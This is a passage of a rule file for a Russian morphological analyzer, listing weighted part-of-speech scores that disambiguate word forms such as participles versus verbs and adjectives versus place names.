ПРИЛАГАТЕЛЬНОЕ:автоматизируемый{} и ГЛАГОЛ:автоматизировать{} wordform_score "адаптируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:адаптируемый{} и ГЛАГОЛ:адаптировать{} wordform_score "адаптируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:адаптируемый{} и ГЛАГОЛ:адаптировать{} wordform_score "адресуем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:адресуемый{} и ГЛАГОЛ:адресовать{} wordform_score "адресуем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:адресуемый{} и ГЛАГОЛ:адресовать{} wordform_score "аккумулируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:аккумулируемый{} и ГЛАГОЛ:аккумулировать{} wordform_score "аккумулируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:аккумулируемый{} и ГЛАГОЛ:аккумулировать{} wordform_score "акцептуем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:акцептуемый{} и ГЛАГОЛ:акцептовать{} wordform_score "акцептуем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:акцептуемый{} и ГЛАГОЛ:акцептовать{} wordform_score "акционируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:акционируемый{} и ГЛАГОЛ:акционировать{} wordform_score "акционируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:акционируемый{} и ГЛАГОЛ:акционировать{} wordform_score "амортизируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:амортизируемый{} и ГЛАГОЛ:амортизировать{} wordform_score "амортизируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:амортизируемый{} и ГЛАГОЛ:амортизировать{} wordform_score "арендуем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:арендуемый{} и ГЛАГОЛ:арендовать{} wordform_score "арендуем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:арендуемый{} и ГЛАГОЛ:арендовать{} wordform_score "афишируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:афишируемый{} и ГЛАГОЛ:афишировать{} wordform_score "афишируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:афишируемый{} и ГЛАГОЛ:афишировать{} wordform_score "капитализируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:капитализируемый{} и ГЛАГОЛ:капитализировать{} wordform_score "капитализируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:капитализируемый{} и ГЛАГОЛ:капитализировать{} wordform_score "классифицируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:классифицируемый{} и ГЛАГОЛ:классифицировать{} wordform_score "классифицируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:классифицируемый{} и ГЛАГОЛ:классифицировать{} wordform_score "классифицируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:классифицируемый{} и ГЛАГОЛ:классифицировать{} wordform_score "классифицируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:классифицируемый{} и ГЛАГОЛ:классифицировать{} wordform_score "комментируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:комментируемый{} и ГЛАГОЛ:комментировать{} wordform_score "комментируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:комментируемый{} и ГЛАГОЛ:комментировать{} wordform_score "коммутируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:коммутируемый{} и ГЛАГОЛ:коммутировать{} wordform_score "коммутируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:коммутируемый{} и ГЛАГОЛ:коммутировать{} wordform_score "конвоируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:конвоируемый{} и ГЛАГОЛ:конвоировать{} wordform_score "конвоируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:конвоируемый{} и ГЛАГОЛ:конвоировать{} wordform_score "координируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:координируемый{} и ГЛАГОЛ:координировать{} wordform_score "координируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:координируемый{} и ГЛАГОЛ:координировать{} wordform_score "котируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:котируемый{} и ГЛАГОЛ:котировать{} wordform_score "котируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:котируемый{} и ГЛАГОЛ:котировать{} wordform_score "кредитуем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:кредитуемый{} и ГЛАГОЛ:кредитовать{} wordform_score "кредитуем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кредитуемый{} и ГЛАГОЛ:кредитовать{} wordform_score "критикуем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:критикуемый{} и ГЛАГОЛ:критиковать{} wordform_score "критикуем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:критикуемый{} и ГЛАГОЛ:критиковать{} wordform_score "курируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:курируемый{} и ГЛАГОЛ:курировать{} wordform_score "курируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:курируемый{} и ГЛАГОЛ:курировать{} wordform_score "корректируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:корректируемый{} и ГЛАГОЛ:корректировать{} wordform_score "корректируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:корректируемый{} и ГЛАГОЛ:корректировать{} wordform_score "ковровом" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:ковровый{} и СУЩЕСТВИТЕЛЬНОЕ:Ковров{} wordform_score "ковровом" { СУЩЕСТВИТЕЛЬНОЕ } = -1 // ПРИЛАГАТЕЛЬНОЕ:ковровый{} и СУЩЕСТВИТЕЛЬНОЕ:Ковров{} wordform_score "кочевым" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кочевой{} и СУЩЕСТВИТЕЛЬНОЕ:Кочево{} wordform_score "кочевым" { СУЩЕСТВИТЕЛЬНОЕ } = -10 // ПРИЛАГАТЕЛЬНОЕ:кочевой{} и СУЩЕСТВИТЕЛЬНОЕ:Кочево{} wordform_score "атакуем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:атакуемый{} и ГЛАГОЛ:атаковать{} wordform_score "атакуем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:атакуемый{} и ГЛАГОЛ:атаковать{} wordform_score "казним" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:казнимый{} и ГЛАГОЛ:казнить{} wordform_score "казним" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:казнимый{} и ГЛАГОЛ:казнить{} wordform_score "качаем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:качаемый{} и ГЛАГОЛ:качать{} wordform_score "качаем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:качаемый{} и ГЛАГОЛ:качать{} wordform_score "кусаем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:кусаемый{} и ГЛАГОЛ:кусать{} wordform_score "кусаем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кусаемый{} и ГЛАГОЛ:кусать{} wordform_score "компенсируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:компенсируемый{} и ГЛАГОЛ:компенсировать{} wordform_score "компенсируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:компенсируемый{} и ГЛАГОЛ:компенсировать{} wordform_score "караем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:караемый{} и ГЛАГОЛ:карать{} wordform_score "караем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:караемый{} и ГЛАГОЛ:карать{} wordform_score "командируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:командируемый{} и ГЛАГОЛ:командировать{} wordform_score "командируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:командируемый{} и ГЛАГОЛ:командировать{} wordform_score "конструируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:конструируемый{} и ГЛАГОЛ:конструировать{} wordform_score "конструируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:конструируемый{} и ГЛАГОЛ:конструировать{} wordform_score "консультируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:консультируемый{} и ГЛАГОЛ:консультировать{} wordform_score "консультируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:консультируемый{} и ГЛАГОЛ:консультировать{} wordform_score "кидаем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:кидаемый{} и ГЛАГОЛ:кидать{} wordform_score "кидаем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кидаемый{} и ГЛАГОЛ:кидать{} wordform_score "акцентируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:акцентируемый{} и ГЛАГОЛ:акцентировать{} wordform_score "акцентируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:акцентируемый{} и ГЛАГОЛ:акцентировать{} wordform_score "колонизируем" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:колонизируемый{} и ГЛАГОЛ:колонизировать{} wordform_score "колонизируем" { ГЛАГОЛ } = 1 // ПРИЛАГАТЕЛЬНОЕ:колонизируемый{} и ГЛАГОЛ:колонизировать{} wordform_score "крымском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:крымский{} и СУЩЕСТВИТЕЛЬНОЕ:Крымск{} wordform_score "крымском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:крымский{} и СУЩЕСТВИТЕЛЬНОЕ:Крымск{} wordform_score "каспийском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:каспийский{} и СУЩЕСТВИТЕЛЬНОЕ:Каспийск{} wordform_score "каспийском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:каспийский{} и СУЩЕСТВИТЕЛЬНОЕ:Каспийск{} wordform_score "амурском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:амурский{} и СУЩЕСТВИТЕЛЬНОЕ:Амурск{} wordform_score "амурском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:амурский{} и СУЩЕСТВИТЕЛЬНОЕ:Амурск{} wordform_score "архангельском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:архангельский{} и СУЩЕСТВИТЕЛЬНОЕ:Архангельск{} wordform_score "архангельском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:архангельский{} и СУЩЕСТВИТЕЛЬНОЕ:Архангельск{} wordform_score "курильском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:курильский{} и СУЩЕСТВИТЕЛЬНОЕ:Курильск{} wordform_score "курильском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:курильский{} и СУЩЕСТВИТЕЛЬНОЕ:Курильск{} wordform_score "кировском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:кировский{} и СУЩЕСТВИТЕЛЬНОЕ:Кировск{} wordform_score "кировском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:кировский{} и СУЩЕСТВИТЕЛЬНОЕ:Кировск{} wordform_score "козельском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:козельский{} и СУЩЕСТВИТЕЛЬНОЕ:Козельск{} wordform_score "козельском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:козельский{} и СУЩЕСТВИТЕЛЬНОЕ:Козельск{} wordform_score "курском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:курский{} и СУЩЕСТВИТЕЛЬНОЕ:Курск{} wordform_score "курском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:курский{} и СУЩЕСТВИТЕЛЬНОЕ:Курск{} wordform_score "калининском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:калининский{} и СУЩЕСТВИТЕЛЬНОЕ:Калининск{} wordform_score "калининском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:калининский{} и СУЩЕСТВИТЕЛЬНОЕ:Калининск{} wordform_score "красноярском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:красноярский{} и СУЩЕСТВИТЕЛЬНОЕ:Красноярск{} wordform_score "красноярском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:красноярский{} и СУЩЕСТВИТЕЛЬНОЕ:Красноярск{} wordform_score "качкой" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:качкий{} и СУЩЕСТВИТЕЛЬНОЕ:качка{} wordform_score "качкой" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:качкий{} и СУЩЕСТВИТЕЛЬНОЕ:качка{} wordform_score "качкою" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:качкий{} и СУЩЕСТВИТЕЛЬНОЕ:качка{} wordform_score "качкою" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:качкий{} и СУЩЕСТВИТЕЛЬНОЕ:качка{} wordform_score "качком" { ПРИЛАГАТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:качкий{} и СУЩЕСТВИТЕЛЬНОЕ:качок{} wordform_score "качком" { СУЩЕСТВИТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:качкий{} и СУЩЕСТВИТЕЛЬНОЕ:качок{} wordform_score "адыгейском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:адыгейский{} и СУЩЕСТВИТЕЛЬНОЕ:Адыгейск{} wordform_score "адыгейском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:адыгейский{} и СУЩЕСТВИТЕЛЬНОЕ:Адыгейск{} wordform_score "комсомольском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:комсомольский{} и СУЩЕСТВИТЕЛЬНОЕ:Комсомольск{} wordform_score "комсомольском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:комсомольский{} и СУЩЕСТВИТЕЛЬНОЕ:Комсомольск{} wordform_score "апшеронском" { ПРИЛАГАТЕЛЬНОЕ } = 2 // ПРИЛАГАТЕЛЬНОЕ:апшеронский{} и СУЩЕСТВИТЕЛЬНОЕ:Апшеронск{} wordform_score "апшеронском" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ПРИЛАГАТЕЛЬНОЕ:апшеронский{} и СУЩЕСТВИТЕЛЬНОЕ:Апшеронск{} wordform_score "тайна" { ПРИЛАГАТЕЛЬНОЕ } = -5 // ПРИЛАГАТЕЛЬНОЕ:тайный{} wordform_score "тайна" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // СУЩЕСТВИТЕЛЬНОЕ:тайна{} wordform_score "коробило" { БЕЗЛИЧ_ГЛАГОЛ } = 1 // БЕЗЛИЧ_ГЛАГОЛ:коробит{} и ГЛАГОЛ:коробить{} wordform_score "коробило" { ГЛАГОЛ } = -2 // БЕЗЛИЧ_ГЛАГОЛ:коробит{} и ГЛАГОЛ:коробить{} wordform_score "коробит" { БЕЗЛИЧ_ГЛАГОЛ } = 1 // БЕЗЛИЧ_ГЛАГОЛ:коробит{} и ГЛАГОЛ:коробить{} wordform_score "коробит" { ГЛАГОЛ } = -2 // БЕЗЛИЧ_ГЛАГОЛ:коробит{} и ГЛАГОЛ:коробить{} wordform_score "казалось" { БЕЗЛИЧ_ГЛАГОЛ } = 1 // БЕЗЛИЧ_ГЛАГОЛ:кажется{} и ГЛАГОЛ:казаться{} wordform_score "казалось" { ГЛАГОЛ } = -2 // БЕЗЛИЧ_ГЛАГОЛ:кажется{} и ГЛАГОЛ:казаться{} wordform_score "канал" { ГЛАГОЛ } = -5 // ГЛАГОЛ:канать{} и СУЩЕСТВИТЕЛЬНОЕ:канал{} wordform_score "канал" { СУЩЕСТВИТЕЛЬНОЕ } = 1 // ГЛАГОЛ:канать{} и СУЩЕСТВИТЕЛЬНОЕ:канал{} wordform_score "канала" { ГЛАГОЛ } = 1 // ГЛАГОЛ:канать{} и СУЩЕСТВИТЕЛЬНОЕ:канал{} wordform_score "канала" { СУЩЕСТВИТЕЛЬНОЕ } = 1000000 // ГЛАГОЛ:канать{} и СУЩЕСТВИТЕЛЬНОЕ:канал{} wordform_score "чай" { ГЛАГОЛ } = -10 // чаять wordform_score "чай" { СУЩЕСТВИТЕЛЬНОЕ } = 0 // чай wordform_score "чай" { частица } = -2 // чай wordform_score "чай" { наречие } = -5 wordform_score "готов" { прилагательное } = 1 wordform_score "готов" { существительное } = -1 wordform_score "извести" { инфинитив } = -1 wordform_score "извести" { существительное } = 1 wordform_score "нашли" { наклонение:изъяв } = 1 wordform_score "нашли" { наклонение:побуд } = -5 // ---- wordform_score "брехни" { глагол } = -1 // брехня брехни --> брехнуть брехни wordform_score "бузил" { существительное } = -1 // бузила бузил --> бузить бузил wordform_score "бурей" { глагол } = -1 // буря бурей --> буреть бурей wordform_score "бюллетень" { глагол } = -1 // бюллетень бюллетень --> бюллетенить бюллетень wordform_score "возрасту" { глагол } = -1 // возраст возрасту --> возрасти возрасту wordform_score "воплю" { глагол } = -1 // вопль воплю --> вопить воплю wordform_score "врали" { существительное } = -1 // враль врали --> врать врали wordform_score "гвозди" { глагол } = -1 // гвоздь гвозди --> гвоздить гвозди wordform_score "Глашу" { глагол } = -1 // Глаша Глашу --> гласить глашу wordform_score "голубей" { глагол } = -1 // голубь голубей --> голубеть голубей wordform_score "гряду" { глагол } = -1 // гряда гряду --> грясти гряду wordform_score "Дорою" { существительное } = -1 // Дора Дорою --> дорыть дорою wordform_score "дох" { глагол } = -1 // доха дох --> дохнуть дох wordform_score "драконят" { существительное } = -1 // драконенок драконят --> драконить драконят wordform_score "дублю" { глагол } = -1 // дубль дублю --> дубить дублю wordform_score "дули" { существительное } = -1 // дуля дули --> дуть дули wordform_score "ежу" { глагол } = -1 // еж ежу --> ежить ежу wordform_score "жал" { существительное } = -1 // жало жал --> жать жал wordform_score "жигану" { глагол } = -1 // жиган жигану --> жигануть жигану wordform_score "завали" { существительное } = -1 // заваль завали --> завалить завали wordform_score "замшей" { глагол } = -1 // замша замшей --> замшеть замшей wordform_score "зарей" { глагол } = -1 // заря зарей --> зареять зарей wordform_score "затей" { глагол } = -1 // затея затей --> затеять затей wordform_score "затею" { глагол } = -1 // затея затею --> затеять затею wordform_score "затону" { существительное } = -1 // затон затону --> затонуть затону wordform_score "знахарю" { глагол } = -1 // знахарь знахарю --> знахарить знахарю wordform_score "изморозь" { глагол } = -1 // изморозь изморозь --> изморозить изморозь wordform_score "канитель" { глагол } = -1 // канитель канитель --> канителить канитель wordform_score "ковали" { существительное } = -1 // коваль ковали --> ковать ковали wordform_score "кучу" { глагол } = -1 // куча кучу --> кутить кучу wordform_score "лохмачу" { существительное } = -1 // лохмач лохмачу --> лохматить лохмачу wordform_score "матерей" { глагол } = -5 // мать матерей --> матереть матерей wordform_score "матери" { глагол } = -5 // мать матери --> материть матери wordform_score "метель" { глагол } = -1 // метель метель --> метелить метель wordform_score "мини" { глагол } = -1 // мини мини --> минуть мини wordform_score "минут" { глагол } = -1 // минута минут --> минуть минут wordform_score "молоди" { глагол } = -1 // молодь молоди --> молодить молоди wordform_score "батрачат" { существительное } = -1 // батрачонок батрачат --> батрачить батрачат wordform_score "бузила" { существительное } = -1 // бузила бузила --> бузить бузила wordform_score "времени" { глагол } = -1 // время времени --> временить времени wordform_score "дурней" { глагол } = -1 // дурень дурней --> дурнеть дурней wordform_score "наймите" { существительное } = -1 // наймит наймите --> нанять наймите wordform_score "накипи" { глагол } = -1 // накипь накипи --> накипеть накипи wordform_score "нарвал" { существительное } = -1 // нарвал нарвал --> нарвать нарвал wordform_score "нарвала" { существительное } = -1 // нарвал нарвала --> нарвать нарвала wordform_score "нарой" { существительное } = -1 // нара нарой --> нарыть нарой wordform_score "пари" { глагол } = -1 // пари пари --> парить пари wordform_score "пастушат" { глагол } = -1 // пастушонок пастушат --> пастушить пастушат wordform_score "пасу" { существительное } = -1 // пас пасу --> пасти пасу wordform_score "пень" { глагол } = -1 // пень пень --> пенить пень wordform_score "пеню" { глагол } = -1 // пеня пеню --> пенить пеню wordform_score "передам" { существительное } = -1 // перед передам --> передать передам wordform_score "печаль" { глагол } = -1 // печаль печаль --> печалить печаль wordform_score "подтеки" { глагол } = -1 // подтек подтеки --> подтечь подтеки wordform_score "постригу" { существительное } = -1 // постриг постригу --> постричь постригу wordform_score "проем" { глагол } = -1 // проем проем --> проесть проем wordform_score "простой" { глагол } = -1 // простой простой --> простоять простой wordform_score "пряди" { глагол } = -1 // прядь пряди --> прясть пряди wordform_score "разъем" { глагол } = -1 // разъем разъем --> разъесть разъем wordform_score "ржу" { существительное } = -1 // ржа ржу --> ржать ржу wordform_score "ругани" { глагол } = -1 // ругань ругани --> ругануть ругани wordform_score "сбои" { глагол } = -1 // сбой сбои --> сбоить сбои wordform_score "секретарь" { глагол } = -1 // секретарь секретарь --> секретарить секретарь wordform_score "скину" { существительное } = -1 // скин скину --> скинуть скину wordform_score "слесарь" { глагол } = -1 // слесарь слесарь --> слесарить слесарь wordform_score "случаем" { глагол } = -1 // случай случаем --> случать случаем wordform_score "соловей" { глагол } = -1 // соловей соловей --> соловеть соловей wordform_score "спирали" { глагол } = -1 // спираль спирали --> спирать спирали wordform_score "старь" { глагол } = -1 // старь старь --> старить старь wordform_score "струи" { глагол } = -1 // струя струи --> струить струи wordform_score "такелажу" { глагол } = -1 // такелаж такелажу --> такелажить такелажу wordform_score "участи" { глагол } = -1 // участь участи --> участить участи wordform_score "хмелю" { глагол } = -10 // хмель хмелю --> хмелить хмелю wordform_score "чаем" { глагол } = -10 // чай чаем --> чаять чаем wordform_score "замшею" { глагол } = -1 // замша замшею --> замшеть замшею wordform_score "зелени" { глагол } = -1 // зелень зелени --> зеленить зелени wordform_score "знахарь" { глагол } = -1 // знахарь знахарь --> знахарить знахарь wordform_score "канифоль" { глагол } = -1 // канифоль канифоль --> канифолить канифоль wordform_score "лужу" { глагол } = -1 // лужа лужу --> лудить лужу wordform_score "матерей" { глагол } = -1 // матерь матерей --> матереть матерей wordform_score "матери" { глагол } = -1 // матерь матери --> материть матери wordform_score "мелей" { глагол } = -1 // мель мелей --> мелеть мелей wordform_score "мыло" { глагол } = -1 // мыло мыло --> мыть мыло wordform_score "обезьянят" { существительное } = -1 // обезьяненок обезьянят --> обезьянить обезьянят wordform_score "объем" { глагол } = -1 // объем объем --> объесть объем wordform_score "осени" { глагол } = -1 // осень осени --> осенить осени wordform_score "отмели" { глагол } = -1 // отмель отмели --> отмолоть отмели wordform_score "перла" { существительное } = -1 // перл перла --> переть перла wordform_score "пил" { существительное } = -1 // пила пил --> пить пил wordform_score "пищали" { существительное } = -1 // пищаль пищали --> пищать пищали wordform_score "поволок" { существительное } = -1 // поволока поволок --> поволочь поволок wordform_score "поволоку" { существительное } = -1 // поволока поволоку --> поволочь поволоку wordform_score "покой" { глагол } = -5 // покой покой --> покоить покой wordform_score "покою" { глагол } = -5 // покой покою --> покоить покою wordform_score "полет" { глагол } = -1 // полет полет --> полоть полет wordform_score "полете" { глагол } = -1 // полет полете --> полоть полете wordform_score "полю" { глагол } = -1 // поле полю --> полоть полю wordform_score "примеси" { глагол } = -1 // примесь примеси --> примесить примеси wordform_score "примету" { глагол } = -1 // примета примету --> примести примету wordform_score "припас" { существительное } = -1 // припас припас --> припасти припас wordform_score "продела" { существительное } = -1 // продел продела --> продеть продела wordform_score "просек" { существительное } = -1 // просека просек --> просечь просек wordform_score "пущу" { существительное } = -1 // пуща пущу --> пустить пущу wordform_score "пьяни" { глагол } = -1 // пьянь пьяни --> пьянить пьяни wordform_score "сбою" { глагол } = -1 // сбой сбою --> сбоить сбою wordform_score "свечу" { глагол } = -1 // свеча свечу --> светить свечу wordform_score "секретарю" { глагол } = -1 // секретарь секретарю --> секретарить секретарю wordform_score "случай" { глагол } = -5 // случай случай --> случать случай wordform_score "случаю" { глагол } = -5 // случай случаю --> случать случаю wordform_score "слюни" { глагол } = -1 // слюна слюни --> слюнить слюни wordform_score "смог" { существительное } = -1 // смог смог --> смочь смог wordform_score "смогу" { существительное } = -1 // смог смогу --> смочь смогу wordform_score "собачат" { существительное } = -1 // собаченок собачат --> собачить собачат wordform_score "совести" { глагол } = -1 // совесть совести --> совестить совести wordform_score "спас" { существительное } = -1 // спас спас --> спасти спас wordform_score "стай" { глагол } = -1 // стая стай --> стаять стай wordform_score "стаю" { глагол } = -1 // стая стаю --> стаять стаю wordform_score "струю" { глагол } = -1 // струя струю --> струить струю wordform_score "стужу" { глагол } = -1 // стужа стужу --> студить стужу wordform_score "сучат" { существительное } = -1 // сучонок сучат --> сучить сучат wordform_score "тлей" { глагол } = -1 // тля тлей --> тлеть тлей wordform_score "толщу" { глагол } = -1 // толща толщу --> толстить толщу wordform_score "царю" { глагол } = -4 // царь царю --> царить царю ==> Ну а поздно вечером довелось удивиться и царю. wordform_score "чащу" { глагол } = -1 // чаща чащу --> частить чащу wordform_score "чаю" { глагол } = -10 // чай чаю --> чаять чаю wordform_score "ширь" { глагол } = -1 // ширь ширь --> ширить ширь wordform_score "штурману" { глагол } = -1 // штурман штурману --> штурмануть штурману wordform_score "щурят" { существительное } = -1 // щуренок щурят --> щурить щурят wordform_score "гноя" { деепричастие } = -4 // гной гноя --> гноя гноя wordform_score "гостя" { деепричастие } = -1 // гость гостя --> гостя гостя wordform_score "душа" { деепричастие } = -1 // душ душа --> душа душа wordform_score "катя" { деепричастие } = -4 // Катя Катя --> катя катя wordform_score "колея" { деепричастие } = -1 // колея колея --> колея колея wordform_score "костя" { деепричастие } = -1 // Костя Костя --> костя костя wordform_score "нарыв" { деепричастие } = -1 // нарыв нарыв --> нарыв нарыв wordform_score "отлив" { деепричастие } = -1 // отлив отлив --> отлив отлив wordform_score "отпоров" { существительное } = -1 // отпор отпоров --> отпоров отпоров wordform_score "отрыв" { деепричастие } = -1 // отрыв отрыв --> отрыв отрыв wordform_score "подлив" { существительное } = -1 // подлива подлив --> подлив подлив wordform_score "покоя" { деепричастие } = -1 // покой покоя --> покоя покоя wordform_score "прилив" { деепричастие } = -1 // прилив прилив --> прилив прилив wordform_score "пузыря" { деепричастие } = -1 // пузырь пузыря --> пузыря пузыря wordform_score "руля" { деепричастие } = -1 // руль руля --> руля руля wordform_score "селя" { деепричастие } = -1 // сель селя --> селя селя wordform_score "случая" { деепричастие } = -1 // случай случая --> случая случая wordform_score "сторожа" { деепричастие } = -1 // сторож сторожа --> сторожа сторожа wordform_score "суша" { деепричастие } = -1 // суша суша --> суша суша wordform_score "туша" { деепричастие } = -1 // туш туша --> туша туша wordform_score "хмеля" { деепричастие } = -1 // хмель хмеля --> хмеля хмеля wordform_score "валя" { деепричастие } = -1 // Валя Валя --> валя валя wordform_score "варя" { деепричастие } = -1 // Варя Варя --> варя варя wordform_score "гвоздя" { деепричастие } = -1 